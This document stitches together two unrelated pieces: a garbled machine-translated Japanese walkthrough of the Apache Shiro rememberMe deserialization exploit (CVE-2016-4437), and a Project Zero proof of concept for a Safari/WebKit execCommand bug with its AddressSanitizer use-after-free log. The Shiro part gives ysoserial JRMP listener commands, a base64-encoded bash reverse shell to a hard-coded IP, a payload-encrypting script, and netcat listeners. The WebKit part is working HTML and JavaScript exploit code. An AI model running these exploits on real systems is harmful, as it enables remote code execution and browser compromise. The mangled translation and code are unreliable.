Cookieremembermemanager.setcipherkey

setCipherkey(base64.Decode

0x06脆弱性機能

Shiro Deserialization機能:Rememberme=リターンパッケージのセットクッキーのDeletemeフィールド

0x07環境構築

1。 8080:8080 Medicean/vulapps:S_shiro_1 1049983-20201203093901541-140206952.png3:http://149.28.94.72:80/、環境が正常に構築されていることがわかります。 https://github.com/vulhub/vulhub/tree/master/shiro/cve-2016-4437 docker-compose up-dサービスが開始された後、http://your-IP3:8080にアクセスして、admin:vulhub :010101

0x08脆弱性の再発

10-10-vulhubを使用してログインしてログインします。 YSOSERIAL-0.0.6-SNAPSHOT-ALL.JARファイルダウンロード:Root@Shiro:〜/Shiro_exploit Burpを使用してパケットをキャプチャし、正しいユーザー名とパスワードを入力し、remember Meオプションを確認してください。 rememberme=deletemeフィールドが返品パッケージのセットクッキーに存在するかどうかを確認してください。1049983-20201203093906033-1597270640.png3。ログインページ1049983-20201203093907312-912301061.png4をキャッチします。パケットをキャッチして、リピーターに送信します。それを再生することができ、Cookieにrememberme=deletemeフィールド1049983-20201203093907746-1556444288.png5が含まれていることがわかります。次に、攻撃マシンで次のコマンドを実行します。

Java -cp ysoserial-0.0.6-snapshot-all.jar ysoserial.exploit.jrmplistener 1086 commonscollections4 "bashコマンド" note:ペイロード/jrmpclientは、Exploit/jrmplistenerと組み合わせて使用されます。

Jrmplistenerは、Ysoserialツールの利用モジュールの1つです。その機能は、脱力化を通じて現在のホストにJRMPサーバーを開くことです。特定の利用プロセスは、脱必要なデータをサーバーに送信し、サーバーで降下操作を実行し、指定されたポートを開き、JRMPClientを介して攻撃ペイロードを送信することです。

ペイロード/jrmpclientリビングペイロードがターゲットマシンに送信され、Exploit/Jrmplistenerが独自のサーバーで使用されます。次に、リバウンドシェルの操作を実行するためにペイロードを構築し、コマンドをリバウンドシェルに書き込みます。

bash -i /dev/tcp/149.28.94.72/2222 01

次に、暗号化された命令に変換します(このウェブサイトにアクセスしてくださいhttp://www.jackson-t.ca/runtime-exec-payloads.html)1049983-20201203093908901-2096603826.pngBash -C {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | {base64、-d} | {bash、-i}注:なぜリバウンドシェルをエンコードする必要があるのですか? exec()関数では、 ''パイプ文字には意味がなく、他の意味に解析され、リバウンドシェルコマンドで使用する必要があるため、エンコードする必要があります。さらに、StringTokenizerクラスは、スペースを含むスペースを含むパラメーターを破壊します。このLS「My Directory」のようなものは、LS '' My ''ディレクトリ'6と解釈されます。攻撃航空機で実行された最終コマンドは次のとおりです。Java-CP YSOSERIAL -MASTER -SNAPSHOT.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1086 COMMONSCOLLECTIONS4 "BASH -C -C {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | {base64、-d} | {bash、-i} "1049983-20201203093909244-1478964296.png7。 shiro.pyを使用してペイロードを生成し、python2環境が必要であり、シロの内蔵デフォルトキーを使用してペイロードを暗号化します。 shiro.py:importsimportuidimportbase64importsubprocessfromcrypto.cipherimportaesdefencode_remembe rme(command):popen=subprocess.popen(['java'、 ' - jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、コマンド]、stdout=subprocess.pipe)bs=aes.block_sizepad=lambdas: s+((bs-len(s)%bs)*chr(bs-len(s)%bs)) iv)file_body=pad(popen.stdout.read())base64_ciphertext=base64.b64encode(iv+encryptor.encrypt(file_body))returnbase64_cip hertextif__name __=='__ main __' :payload=encode_rememberme(sys.argv [1])print'rememberme={0} '。形式(payload.decode())8。ターゲットマシンルートでペイロード暗号化処理を実行する@shiro:〜/shiro_exploit#python shiro.py 149.28.94.72:1099 //攻撃マシンのIPアドレスとJavaリスニングポートは、ysoserial.jarと同じディレクトリに配置されます。

rememberme=js0jb6nwtg6o1zve0y6l2cxy9xbf/f6sgzhcol11yhyky3grxdggrms3xuucdq+mploc6wzlfpeqdpm+o1rs3fn8n2jwz di7xi4zzlci3v3svhasoqoyx6eb5s7aqlhepx6t7p8s5xta5/pdny+bhglofjncr8fa9p1vkcuadvnueefed4k+zyzsemvdmdvgclex4f Z4ZME52G+ZGAMFN+L3FCXIY397E+L8FFHOMIAYZXNL6D/17Z5HJDLX97XRQB31ZBDOIRYIP1VMZDOQGP6ZEFEWTH8K9BWYT5ZRSNWOE7F hcnxsrsctd+cbomqt5nuwnh9jz4pk4vehymuazaz3tvb9ebfbthynxvshtwsekltp8sgpscskbbmcfkl3q6qr+ri+15fozleasfvlia==1049983-20201203093909638-2063943902.png9。次に、攻撃マシンでポート2222を聴き、シェルが1049983-20201203093912336-1604929598.png10のリバウンドを待ちます。 CookieフィールドのJessionIDに生成されたレメバム値を追加し、セミコロンを使用して新しく生成されたペイロードを追加し、パケット1049983-20201203093912965-728885270.png11をリリースします。パケットが送信されたら、攻撃マシンのJava監視インターフェイスとNC監視ポートを確認します。結果は、次の図1049983-20201203093913446-351042190.png 1049983-20201203093913836-1186252345.jpg2。shiro_exploitスクリプト利用再現1。shiro_exploitのpocを使用して、ターゲットマシンキールート@shiro:〜/shiro_exploit#python3 shiro_exploit.pyploit http://149.28.94.72:8080 1049983-20201203093919203-263706918.png 1049983-20201203093920580-2085239307.png2。 shiro_exploitのPOCを使用して、リバウンドシェルルート@shiro:〜#git clone https://github.com/insightglacier/shiro_exploit.gitroot@shiro:~/shiro_exploit# pip3インストールPIP3 PIP3 PICRYPTODOMEPYTOMPYTOMEPYTHON3 SHIRO_EXPLOIT. http://149.28.94.72:8080 -p 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | 1049983-20201203093920980-799770678.pngNC -LVVP 2222 1049983-20201203093922798-661421567.png3。 shiro_exploit 'を使用して、ターゲットマシンでファイルを作成しますpython3 shiro_exploit.py -t 3 -u http://149.28.94.72:8080 -p' touch test.txt ''

1049983-20201203093924099-146015132.pngサーバーhfxbvjwiztu7605.png4にa.txtファイルが正常に作成されました。 shiro_exploitのPOC検出方法を使用して、Gadget Python3 shiro_exploit.py -u 3http://149.28.94.72:8080 -t 3 -p 'Ping -c 2 1m054t.dnslog.cn 1049983-20201203093924792-1415093614.pngdnslogは、dnslogに要求されたドメイン名が表示され、脆弱性が存在することを証明します1049983-20201203093926679-2047167987.png iii。 shiroexploitグラフィカルツールは、https://github.com/feihong-cs/shiroexploitshiro550を使用して再現されます。シェル)NC -LVVP 3333

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1133

Here's a snippet of Editor::Command::execute used to handle |document.execCommand|.

bool Editor::Command::execute(const String& parameter, Event* triggeringEvent) const
{
    if (!isEnabled(triggeringEvent)) {
        // Let certain commands be executed when performed explicitly even if they are disabled.
        if (!allowExecutionWhenDisabled())
            return false;
    }
    m_frame->document()->updateLayoutIgnorePendingStylesheets();
    return m_command->execute(*m_frame, triggeringEvent, m_source, parameter);
}

This method is invoked under an |EventQueueScope|. But |updateLayoutIgnorePendingStylesheets| invokes |MediaQueryMatcher::styleResolverChanged| that directly calls |handleEvent| not affected by |EventQueueScope|. So it may end up to fire javascript handlers(|listener| in PoC). If we replace the document in that handler, |m_command| will be executed on the new document's focused element. We can use # in URL to give a focus.

Note 1: The PoC also trigger a UAF. So I recommend to test it on a release build.
Note 2: If the PoC doesn't work, adjust sleep().

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<html>
<body>
Click Anywhere.
<script>

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms) {

    }
}

window.onclick = () => {
    window.onclick = null;

    document.designMode = 'on';
    document.execCommand('selectAll');

    let f = document.body.appendChild(document.createElement('iframe'));
    let media_list = f.contentWindow.matchMedia("(max-width: 100px)");

    function listener() {
        let a = document.createElement('a');
        a.href = 'https://bugs.webkit.org/#quicksearch_top';
        a.click();

        sleep(1000);

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
    opener.document.x;
} catch (e) {
    clearInterval(it);

    setTimeout(() => {
        window.close();
    }, 2000);
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    }

    media_list.addListener(listener);
    document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
};

</script>
</body>
</html>

<!--
UAF Asan Log:
=================================================================
==3526==ERROR: AddressSanitizer: heap-use-after-free on address 0x61700004d1d8 at pc 0x000117706e8b bp 0x7fff5349d050 sp 0x7fff5349d048
READ of size 8 at 0x61700004d1d8 thread T0
    #0 0x117706e8a in WebCore::RenderView::flushAccumulatedRepaintRegion() const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2485e8a)
    #1 0x115959230 in WebCore::Document::updateLayout() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d8230)
    #2 0x11595f6fb in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6de6fb)
    #3 0x115ae7206 in WebCore::Element::offsetLeft() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x866206)
    #4 0x11661b82b in WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x139a82b)
    #5 0x116609fe3 in long long WebCore::BindingCaller<WebCore::JSElement>::attribute<&(WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, char const*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1388fe3)
    #6 0x112c20808 in JSC::PropertySlot::customGetter(JSC::ExecState*, JSC::PropertyName) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1588808)
    #7 0x1129593be in llint_slow_path_get_by_id (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c13be)
    #8 0x1129767b6 in llint_entry (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12de7b6)
    #9 0x11297395a in vmEntryToJavaScript (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12db95a)
    #10 0x11262d662 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf95662)
    #11 0x1125b12f8 in JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf192f8)
    #12 0x111d90a8c in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8a8c)
    #13 0x111d90c8e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8c8e)
    #14 0x1177db273 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x255a273)
    #15 0x1177dade4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2559de4)
    #16 0x1177ee9d1 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256d9d1)
    #17 0x1177eb9ba in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256a9ba)
    #18 0x115f62940 in WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce1940)
    #19 0x115f62685 in WebCore::HTMLScriptRunner::execute(WTF::Ref<WebCore::ScriptElement>&&, WTF::TextPosition const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce1685)
    #20 0x115e83cae in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc02cae)
    #21 0x115e84392 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc03392)
    #22 0x115e835c4 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc025c4)
    #23 0x115e84fbd in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc03fbd)
    #24 0x1158dfde1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x65ede1)
    #25 0x115a125b8 in WebCore::DocumentWriter::end() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7915b8)
    #26 0x1159d5a6e in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x754a6e)
    #27 0x1154dc8c7 in WebCore::CachedResource::checkNotify() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25b8c7)
    #28 0x1154d623d in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25523d)
    #29 0x117afd1eb in WebCore::SubresourceLoader::didFinishLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287c1eb)
    #30 0x10f774825 in WebKit::WebResourceLoader::didFinishResourceLoad(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x996825)
    #31 0x10f777c05 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999c05)
    #32 0x10f7770ff in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9990ff)
    #33 0x10f0b75c9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d95c9)
    #34 0x10ee925a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb45a8)
    #35 0x10ee9bbf4 in IPC::Connection::dispatchOneMessage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xbdbf4)
    #36 0x112f6c764 in WTF::RunLoop::performWork() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4764)
    #37 0x112f6ec7e in WTF::RunLoop::performWork(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d6c7e)
    #38 0x7fff7dcc3980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
    #39 0x7fff7dca4a7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
    #40 0x7fff7dca3f75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
    #41 0x7fff7dca3973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)
    #42 0x7fff7d22fa5b in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30a5b)
    #43 0x7fff7d22f890 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30890)
    #44 0x7fff7d22f6c5 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x306c5)
    #45 0x7fff7b7d55b3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x475b3)
    #46 0x7fff7bf4fd6a in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c1d6a)
    #47 0x7fff7b7c9f34 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3bf34)
    #48 0x7fff7b79484f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x684f)
    #49 0x7fff9345f8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #50 0x7fff9345e2e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #51 0x10c75db73 in main (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #52 0x7fff931fb254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x61700004d1d8 is located 344 bytes inside of 720-byte region [0x61700004d080,0x61700004d350)
freed by thread T0 here:
    #0 0x10c7bdcf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x112fb56bf in bmalloc::Deallocator::deallocateSlowCase(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191d6bf)
    #2 0x11599f26f in WebCore::RenderPtr<WebCore::RenderView>::clear() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x71e26f)
    #3 0x11596212d in WebCore::RenderPtr<WebCore::RenderView>::operator=(std::nullptr_t) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e112d)
    #4 0x115961ce0 in WebCore::Document::destroyRenderTree() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e0ce0)
    #5 0x1159622e2 in WebCore::Document::prepareForDestruction() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e12e2)
    #6 0x115cbef2a in WebCore::Frame::setView(WTF::RefPtr<WebCore::FrameView>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3df2a)
    #7 0x115cc1ed4 in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa40ed4)
    #8 0x10f40a85b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x62c85b)
    #9 0x115cd84bf in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa574bf)
    #10 0x115cd7593 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa56593)
    #11 0x1159d59cc in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7549cc)
    #12 0x1159ddc2e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75cc2e)
    #13 0x1159de008 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75d008)
    #14 0x115cdb9f1 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a9f1)
    #15 0x115cd5433 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa54433)
    #16 0x117283965 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2002965)
    #17 0x1172837bf in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x20027bf)
    #18 0x11728511a in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x200411a)
    #19 0x10f3f49ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6169ee)
    #20 0x10f3f4846 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x616846)
    #21 0x10f40494d in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x62694d)
    #22 0x117284bb9 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2003bb9)
    #23 0x115cd413c in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5313c)
    #24 0x115cd2e76 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa51e76)
    #25 0x115ccf7a1 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa4e7a1)
    #26 0x115cc8af0 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa47af0)
    #27 0x115cc8079 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa47079)
    #28 0x115cc82fa in WebCore::FrameLoader::urlSelected(WebCore::URL const&, WTF::String const&, WebCore::Event*, WebCore::LockHistory, WebCore::LockBackForwardList, WebCore::ShouldSendReferrer, WebCore::ShouldOpenExternalURLsPolicy, std::optional<WebCore::NewFrameOpenerPolicy>, WTF::AtomicString const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa472fa)
    #29 0x115e39f39 in WebCore::HTMLAnchorElement::handleClick(WebCore::Event&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbb8f39)

previously allocated by thread T0 here:
    #0 0x10c7bd790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff9337d2d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
    #2 0x112fbf184 in bmalloc::DebugHeap::malloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1927184)
    #3 0x112fb447b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191c47b)
    #4 0x112f4d245 in bmalloc::Allocator::allocate(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b5245)
    #5 0x112f4c528 in WTF::fastMalloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b4528)
    #6 0x11596140d in WebCore::RenderPtr<WebCore::RenderView> WebCore::createRenderer<WebCore::RenderView, WebCore::Document&, WebCore::RenderStyle>(WebCore::Document&&&, WebCore::RenderStyle&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e040d)
    #7 0x1159611ed in WebCore::Document::createRenderTree() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e01ed)
    #8 0x115961519 in WebCore::Document::didBecomeCurrentDocumentInFrame() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e0519)
    #9 0x115cbf910 in WebCore::Frame::setDocument(WTF::RefPtr<WebCore::Document>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3e910)
    #10 0x115a11f94 in WebCore::DocumentWriter::begin(WebCore::URL const&, bool, WebCore::Document*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x790f94)
    #11 0x1159d6365 in WebCore::DocumentLoader::commitData(char const*, unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x755365)
    #12 0x10f406052 in WebKit::WebFrameLoaderClient::committedLoad(WebCore::DocumentLoader*, char const*, int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x628052)
